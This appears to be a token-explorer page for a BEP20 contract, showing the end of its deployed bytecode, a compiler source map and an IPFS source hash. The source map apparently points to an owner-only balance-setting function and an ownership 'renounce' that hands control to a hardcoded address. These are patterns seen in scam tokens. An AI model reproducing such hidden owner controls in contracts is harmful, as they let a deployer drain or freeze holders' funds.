ffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e4a9190611163565b60405180910390a3505050565b5f838311158290610e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e959190611032565b60405180910390fd5b505f8385610eac919061160b565b9050809150509392505050565b5f808284610ec7919061163e565b905083811015610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f03906116bb565b60405180910390fd5b8091505092915050565b5f610f1f610a0b565b73ffffffffffffffffffffffffffffffffffffffff16610f3d610720565b73ffffffffffffffffffffffffffffffffffffffff1614610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a90611388565b60405180910390fd5b8284610f9f919061163e565b90509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610fdf578082015181840152602081019050610fc4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61100482610fa8565b61100e8185610fb2565b935061101e818560208601610fc2565b61102781610fea565b840191505092915050565b5f6020820190508181035f83015261104a8184610ffa565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61107f82611056565b9050919050565b61108f81611075565b8114611099575f80fd5b50565b5f813590506110aa81611086565b92915050565b5f819050919050565b6110c2816110b0565b81146110cc575f80fd5b50565b5f813590506110dd816110b9565b92915050565b5f80604083850312156110f9576110f8611052565b5b5f6111068582860161109c565b9250506020611117858286016110cf565b9150509250929050565b5f8115159050919050565b61113581611121565b82525050565b5f60208201905061114e5f83018461112c565b92915050565b61115d816110b0565b82525050565b5f6020820190506111765f830184611154565b92915050565b5f805f6060848603121561119357611192611052565b5b5f6111a08682870161109c565b93505060206111b18682870161109c565b92505060406111c2868287016110cf565b9150509250925092565b5f60ff82169050919050565b6111e1816111cc565b82525050565b5f6020820190506111fa5f8301846111d8565b92915050565b5f6020828403121561121557611214611052565b5b5f6112228482850161109c565b91505092915050565b61123481611075565b82525050565b5f60208201905061124d5f83018461122b565b92915050565b5f805f6060848603121561126a57611269611052565b5b5f611277868287016110cf565b9350506020611288868287016110cf565b92505060406112998682870161109c565b9150509250925092565b5f80604083850312156112b9576112b8611052565b5b5f6112c68582860161109c565b92505060206112d78582860161109c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061132557607f821691505b602082108103611338576113376112e1565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611372602083610fb2565b915061137d8261133e565b602082019050919050565b5f6020820190508181035f83015261139f81611366565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611400602483610fb2565b915061140b826113a6565b604082019050919050565b5f6020820190508181035f83015261142d816113f4565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61148e602283610fb2565b915061149982611434565b604082019050919050565b5f6020820190508181035f8301526114bb81611482565b9050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61151c602583610fb2565b9150611527826114c2565b604082019050919050565b5f6020820190508181035f83015261154981611510565b9050919050565b7f42455032303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6115aa602383610fb2565b91506115b582611550565b604082019050919050565b5f6020820190508181035f8301526115d78161159e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611615826110b0565b9150611620836110b0565b9250828203905081811115611638576116376115de565b5b92915050565b5f611648826110b0565b9150611653836110b0565b925082820190508082111561166b5761166a6115de565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6116a5601b83610fb2565b91506116b082611671565b602082019050919050565b5f6020820190508181035f8301526116d281611699565b905091905056fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220312f950c539784cdb67d951ed116acdfa936ac9d74f2c59b9191929f7752df6464736f6c63430008150033

Deployed Bytecode Sourcemap

3844:3803:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4784:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5630:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4890:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5805:315;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4568:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6132:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5004:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2149:230;;;:::i;:::-;;4462:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1926:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4674:98;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6354:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5137:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7106:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5477:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4784:94;4832:13;4865:5;4858:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4784:94;:::o;5630:163::-;5707:4;5724:39;5733:12;:10;:12::i;:::-;5747:7;5756:6;5724:8;:39::i;:::-;5781:4;5774:11;;5630:163;;;;:::o;4890:102::-;4945:7;4972:12;;4965:19;;4890:102;:::o;5805:315::-;5905:4;5922:36;5932:6;5940:9;5951:6;5922:9;:36::i;:::-;5969:121;5978:6;5986:12;:10;:12::i;:::-;6000:89;6038:6;6000:89;;;;;;;;;;;;;;;;;:11;:19;6012:6;6000:19;;;;;;;;;;;;;;;:33;6020:12;:10;:12::i;:::-;6000:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5969:8;:121::i;:::-;6108:4;6101:11;;5805:315;;;;;:::o;4568:94::-;4620:5;4645:9;;;;;;;;;;;4638:16;;4568:94;:::o;6132:210::-;6212:4;6229:83;6238:12;:10;:12::i;:::-;6252:7;6261:50;6300:10;6261:11;:25;6273:12;:10;:12::i;:::-;6261:25;;;;;;;;;;;;;;;:34;6287:7;6261:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;6229:8;:83::i;:::-;6330:4;6323:11;;6132:210;;;;:::o;5004:121::-;5072:7;5099:9;:18;5109:7;5099:18;;;;;;;;;;;;;;;;5092:25;;5004:121;;;:::o;2149:230::-;2072:12;:10;:12::i;:::-;2061:23;;:7;:5;:7::i;:::-;:23;;;2053:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2256:42:::1;2219:81;;2240:6;::::0;::::1;;;;;;;;2219:81;;;;;;;;;;;;2328:42;2311:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;2149:230::o:0;4462:94::-;4514:7;4541;:5;:7::i;:::-;4534:14;;4462:94;:::o;1926:87::-;1972:7;1999:6;;;;;;;;;;;1992:13;;1926:87;:::o;4674:98::-;4724:13;4757:7;4750:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4674:98;:::o;6354:261::-;6439:4;6456:129;6465:12;:10;:12::i;:::-;6479:7;6488:96;6527:15;6488:96;;;;;;;;;;;;;;;;;:11;:25;6500:12;:10;:12::i;:::-;6488:25;;;;;;;;;;;;;;;:34;6514:7;6488:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;6456:8;:129::i;:::-;6603:4;6596:11;;6354:261;;;;:::o;5137:169::-;5217:4;5234:42;5244:12;:10;:12::i;:::-;5258:9;5269:6;5234:9;:42::i;:::-;5294:4;5287:11;;5137:169;;;;:::o;7106:192::-;2072:12;:10;:12::i;:::-;2061:23;;:7;:5;:7::i;:::-;:23;;;2053:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7228:35:::1;7236:6;7244:8;7254;7228:7;:35::i;:::-;7206:9;:19;7216:8;7206:19;;;;;;;;;;;;;;;:57;;;;7106:192:::0;;;:::o;5477:145::-;5560:7;5587:11;:18;5599:5;5587:18;;;;;;;;;;;;;;;:27;5606:7;5587:27;;;;;;;;;;;;;;;;5580:34;;5477:145;;;;:::o;1250:98::-;1303:7;1330:10;1323:17;;1250:98;:::o;7306:338::-;7417:1;7400:19;;:5;:19;;;7392:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7498:1;7479:21;;:7;:21;;;7471:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7582:6;7552:11;:18;7564:5;7552:18;;;;;;;;;;;;;;;:27;7571:7;7552:27;;;;;;;;;;;;;;;:36;;;;7620:7;7604:32;;7613:5;7604:32;;;7629:6;7604:32;;;;;;:::i;:::-;;;;;;;;7306:338;;;:::o;6627:471::-;6743:1;6725:20;;:6;:20;;;6717:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6827:1;6806:23;;:9;:23;;;6798:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6902;6924:6;6902:71;;;;;;;;;;;;;;;;;:9;:17;6912:6;6902:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;6882:9;:17;6892:6;6882:17;;;;;;;;;;;;;;;:91;;;;7007:32;7032:6;7007:9;:20;7017:9;7007:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;6984:9;:20;6994:9;6984:20;;;;;;;;;;;;;;;:55;;;;7072:9;7055:35;;7064:6;7055:35;;;7083:6;7055:35;;;;;;:::i;:::-;;;;;;;;6627:471;;;:::o;2744:190::-;2830:7;2863:1;2858;:6;;2866:12;2850:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2890:9;2906:1;2902;:5;;;;:::i;:::-;2890:17;;2925:1;2918:8;;;2744:190;;;;;:::o;2413:179::-;2471:7;2491:9;2507:1;2503;:5;;;;:::i;:::-;2491:17;;2532:1;2527;:6;;2519:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2583:1;2576:8;;;2413:179;;;;:::o;5314:155::-;5416:7;2072:12;:10;:12::i;:::-;2061:23;;:7;:5;:7::i;:::-;:23;;;2053:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5452:8:::1;5443:6;:17;;;;:::i;:::-;5436:24;;5314:155:::0;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:619::-;5617:6;5625;5633;5682:2;5670:9;5661:7;5657:23;5653:32;5650:119;;;5688:79;;:::i;:::-;5650:119;5808:1;5833:53;5878:7;5869:6;5858:9;5854:22;5833:53;:::i;:::-;5823:63;;5779:117;5935:2;5961:53;6006:7;5997:6;5986:9;5982:22;5961:53;:::i;:::-;5951:63;;5906:118;6063:2;6089:53;6134:7;6125:6;6114:9;6110:22;6089:53;:::i;:::-;6079:63;;6034:118;5540:619;;;;;:::o;6165:474::-;6233:6;6241;6290:2;6278:9;6269:7;6265:23;6261:32;6258:119;;;6296:79;;:::i;:::-;6258:119;6416:1;6441:53;6486:7;6477:6;6466:9;6462:22;6441:53;:::i;:::-;6431:63;;6387:117;6543:2;6569:53;6614:7;6605:6;6594:9;6590:22;6569:53;:::i;:::-;6559:63;;6514:118;6165:474;;;;;:::o;6645:180::-;6693:77;6690:1;6683:88;6790:4;6787:1;6780:15;6814:4;6811:1;6804:15;6831:320;6875:6;6912:1;6906:4;6902:12;6892:22;;6959:1;6953:4;6949:12;6980:18;6970:81;;7036:4;7028:6;7024:17;7014:27;;6970:81;7098:2;7090:6;7087:14;7067:18;7064:38;7061:84;;7117:18;;:::i;:::-;7061:84;6882:269;6831:320;;;:::o;7157:182::-;7297:34;7293:1;7285:6;7281:14;7274:58;7157:182;:::o;7345:366::-;7487:3;7508:67;7572:2;7567:3;7508:67;:::i;:::-;7501:74;;7584:93;7673:3;7584:93;:::i;:::-;7702:2;7697:3;7693:12;7686:19;;7345:366;;;:::o;7717:419::-;7883:4;7921:2;7910:9;7906:18;7898:26;;7970:9;7964:4;7960:20;7956:1;7945:9;7941:17;7934:47;7998:131;8124:4;7998:131;:::i;:::-;7990:139;;7717:419;;;:::o;8142:223::-;8282:34;8278:1;8270:6;8266:14;8259:58;8351:6;8346:2;8338:6;8334:15;8327:31;8142:223;:::o;8371:366::-;8513:3;8534:67;8598:2;8593:3;8534:67;:::i;:::-;8527:74;;8610:93;8699:3;8610:93;:::i;:::-;8728:2;8723:3;8719:12;8712:19;;8371:366;;;:::o;8743:419::-;8909:4;8947:2;8936:9;8932:18;8924:26;;8996:9;8990:4;8986:20;8982:1;8971:9;8967:17;8960:47;9024:131;9150:4;9024:131;:::i;:::-;9016:139;;8743:419;;;:::o;9168:221::-;9308:34;9304:1;9296:6;9292:14;9285:58;9377:4;9372:2;9364:6;9360:15;9353:29;9168:221;:::o;9395:366::-;9537:3;9558:67;9622:2;9617:3;9558:67;:::i;:::-;9551:74;;9634:93;9723:3;9634:93;:::i;:::-;9752:2;9747:3;9743:12;9736:19;;9395:366;;;:::o;9767:419::-;9933:4;9971:2;9960:9;9956:18;9948:26;;10020:9;10014:4;10010:20;10006:1;9995:9;9991:17;9984:47;10048:131;10174:4;10048:131;:::i;:::-;10040:139;;9767:419;;;:::o;10192:224::-;10332:34;10328:1;10320:6;10316:14;10309:58;10401:7;10396:2;10388:6;10384:15;10377:32;10192:224;:::o;10422:366::-;10564:3;10585:67;10649:2;10644:3;10585:67;:::i;:::-;10578:74;;10661:93;10750:3;10661:93;:::i;:::-;10779:2;10774:3;10770:12;10763:19;;10422:366;;;:::o;10794:419::-;10960:4;10998:2;10987:9;10983:18;10975:26;;11047:9;11041:4;11037:20;11033:1;11022:9;11018:17;11011:47;11075:131;11201:4;11075:131;:::i;:::-;11067:139;;10794:419;;;:::o;11219:222::-;11359:34;11355:1;11347:6;11343:14;11336:58;11428:5;11423:2;11415:6;11411:15;11404:30;11219:222;:::o;11447:366::-;11589:3;11610:67;11674:2;11669:3;11610:67;:::i;:::-;11603:74;;11686:93;11775:3;11686:93;:::i;:::-;11804:2;11799:3;11795:12;11788:19;;11447:366;;;:::o;11819:419::-;11985:4;12023:2;12012:9;12008:18;12000:26;;12072:9;12066:4;12062:20;12058:1;12047:9;12043:17;12036:47;12100:131;12226:4;12100:131;:::i;:::-;12092:139;;11819:419;;;:::o;12244:180::-;12292:77;12289:1;12282:88;12389:4;12386:1;12379:15;12413:4;12410:1;12403:15;12430:194;12470:4;12490:20;12508:1;12490:20;:::i;:::-;12485:25;;12524:20;12542:1;12524:20;:::i;:::-;12519:25;;12568:1;12565;12561:9;12553:17;;12592:1;12586:4;12583:11;12580:37;;;12597:18;;:::i;:::-;12580:37;12430:194;;;;:::o;12630:191::-;12670:3;12689:20;12707:1;12689:20;:::i;:::-;12684:25;;12723:20;12741:1;12723:20;:::i;:::-;12718:25;;12766:1;12763;12759:9;12752:16;;12787:3;12784:1;12781:10;12778:36;;;12794:18;;:::i;:::-;12778:36;12630:191;;;;:::o;12827:177::-;12967:29;12963:1;12955:6;12951:14;12944:53;12827:177;:::o;13010:366::-;13152:3;13173:67;13237:2;13232:3;13173:67;:::i;:::-;13166:74;;13249:93;13338:3;13249:93;:::i;:::-;13367:2;13362:3;13358:12;13351:19;;13010:366;;;:::o;13382:419::-;13548:4;13586:2;13575:9;13571:18;13563:26;;13635:9;13629:4;13625:20;13621:1;13610:9;13606:17;13599:47;13663:131;13789:4;13663:131;:::i;:::-;13655:139;;13382:419;;;:::o

Swarm Source

ipfs://312f950c539784cdb67d951ed116acdfa936ac9d74f2c59b9191929f7752df64
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.